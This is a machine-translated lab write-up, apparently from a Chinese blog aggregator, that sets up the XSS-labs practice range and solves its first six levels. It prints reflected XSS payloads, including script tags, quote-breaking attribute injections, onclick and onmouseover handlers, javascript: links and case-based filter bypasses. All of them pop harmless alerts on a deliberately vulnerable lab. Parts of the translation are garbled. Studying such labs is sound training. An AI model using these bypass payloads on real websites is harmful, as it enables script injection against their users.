当前位置:网站首页>XSS labs master shooting range environment construction and 1-6 problem solving ideas
XSS labs master shooting range environment construction and 1-6 problem solving ideas
2022-07-02 11:51:00 【Arvin】
Environment building
1、 Range address
2、 Small leather panel
3、windows machine
4、 Decompress the package , Put it in www Under the table of contents , Then visit 

The experimental steps
The first level


Just type it directly :<script>alert('xss')</script>
The second level


"> <script>alert('xss')</script><" Close the front and close the back

The third level
Use the popup statement above , Found to be escaped 
Take out the function , It is found that the double quotation marks have been annotated as "
<input name="keyword" value=""><script>alert("xss")</script><"">

It is found that double quotation marks have been escaped , We try to use single quotation marks to bypass , however < It was escaped again , I really did
Input parameters :'><script>alert('xss')</script><'
Page parameters :<input name="keyword" value="" ><script>alert('xss')<="" script><''="">
Check the source code and find a strange parameter 
Let's see what he means , The discovery is the escape function
htmlspecialchars
Change the parameter ,' onclick="alert('xxs') ', It means that when the user clicks the box, a window pops up

It turns single quotation marks into double quotation marks, which is exactly what we need , Change it poc' onclick='alert(/xxs/) '
too !
Of course , You can also use another event to bypass :'onmouseover='alert(/ Pop up when the mouse hovers /)', Similarly, replace single quotation marks with slashes !
When testing, it is recommended to set up a local environment , Only local people can pop up , The shooting range can pop up 
The fourth level
Apply the above code , I can't find it 
f12 Check , It is found that the front and back ends are double quotation marks , Let's try changing single quotation marks into double quotation marks
" οnclick="alert(/xxs/) "
After clicking the box , Pass the test successfully 
The fifth level
Old rules , laurels 
It's strange here , Why is the first letter escaped , Fuzzy test tried .

Look at the source code , The hard core matched here 
Because of laziness ,<script> and on I won't use the function at the beginning , ha-ha
I use a Try the label
"><a href=javascript:alert(1)>
Click the bracket after , Straight through !
The sixth level
Old rules , laurels
"><a href=javascript:alert(1)>

there href It's translated into hr_ef, Use case to bypass


Look at the source code , There are two more matching items 
First come here. , Later update
边栏推荐
- Order by injection
- HOW TO ADD P-VALUES ONTO A GROUPED GGPLOT USING THE GGPUBR R PACKAGE
- ESP32 Arduino 引入LVGL 碰到的一些问题
- 行业的分析
- Power Spectral Density Estimates Using FFT---MATLAB
- Precautions for scalable contract solution based on openzeppelin
- How to Create a Beautiful Plots in R with Summary Statistics Labels
- Seriation in R: How to Optimally Order Objects in a Data Matrice
- 通讯录的实现(文件版本)
- ESP32音频框架 ESP-ADF 添加按键外设流程代码跟踪
猜你喜欢

Digital transformation takes the lead to resume production and work, and online and offline full integration rebuilds business logic

Cluster Analysis in R Simplified and Enhanced

电脑无缘无故黑屏,无法调节亮度。
![[visual studio 2019] create MFC desktop program (install MFC development components | create MFC application | edit MFC application window | add click event for button | Modify button text | open appl](/img/6a/111da81436659c7502648907ec1367.jpg)
[visual studio 2019] create MFC desktop program (install MFC development components | create MFC application | edit MFC application window | add click event for button | Modify button text | open appl

excel表格中选中单元格出现十字带阴影的选中效果

HOW TO EASILY CREATE BARPLOTS WITH ERROR BARS IN R

Three transparent LED displays that were "crowded" in 2022

Beautiful and intelligent, Haval H6 supreme+ makes Yuanxiao travel safer

由粒子加速器产生的反中子形成的白洞

HOW TO ADD P-VALUES TO GGPLOT FACETS
随机推荐
qt 仪表自定义控件
Wechat applet uses Baidu API to achieve plant recognition
How to Visualize Missing Data in R using a Heatmap
通讯录的实现(文件版本)
to_bytes与from_bytes简单示例
Tdsql | difficult employment? Tencent cloud database micro authentication to help you
[multithreading] the main thread waits for the sub thread to finish executing, and records the way to execute and obtain the execution result (with annotated code and no pit)
GGHIGHLIGHT: EASY WAY TO HIGHLIGHT A GGPLOT IN R
Analyse de l'industrie
flutter 问题总结
TDSQL|就业难?腾讯云数据库微认证来帮你
Develop scalable contracts based on hardhat and openzeppelin (I)
Some problems encountered in introducing lvgl into esp32 Arduino
制造业数字化转型和精益生产什么关系
抖音海外版TikTok:正与拜登政府敲定最终数据安全协议
How to Add P-Values onto Horizontal GGPLOTS
程序员成长第六篇:如何选择公司?
【多线程】主线程等待子线程执行完毕在执行并获取执行结果的方式记录(有注解代码无坑)
Webauthn - official development document
The computer screen is black for no reason, and the brightness cannot be adjusted.